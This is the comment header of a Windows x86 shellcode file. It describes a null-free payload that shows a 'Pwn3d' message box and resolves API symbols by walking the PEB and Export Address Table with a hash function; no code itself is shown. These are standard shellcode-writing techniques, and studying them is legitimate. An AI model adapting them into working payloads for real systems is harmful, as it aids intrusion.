; Name: Windows/x86 - MessageBoxA PEB & Export Address Table NullFree/Dynamic Shellcode (230 bytes)
; Author: h4pp1n3ss
; Date: Wed 09/23/2021
; Tested on: Microsoft Windows [Version 10.0.19042.1237]

; Description: 
; This is a shellcode that
; pop a MessageBox and show the text "Pwn3d by h4pp1n3ss". In order to accomplish this task the shellcode uses
; the PEB method to locate the baseAddress of the required module and the Export Directory Table
; to locate symbols. Also the shellcode uses a hash function to gather dynamically the required 
; symbols without worry about the length.
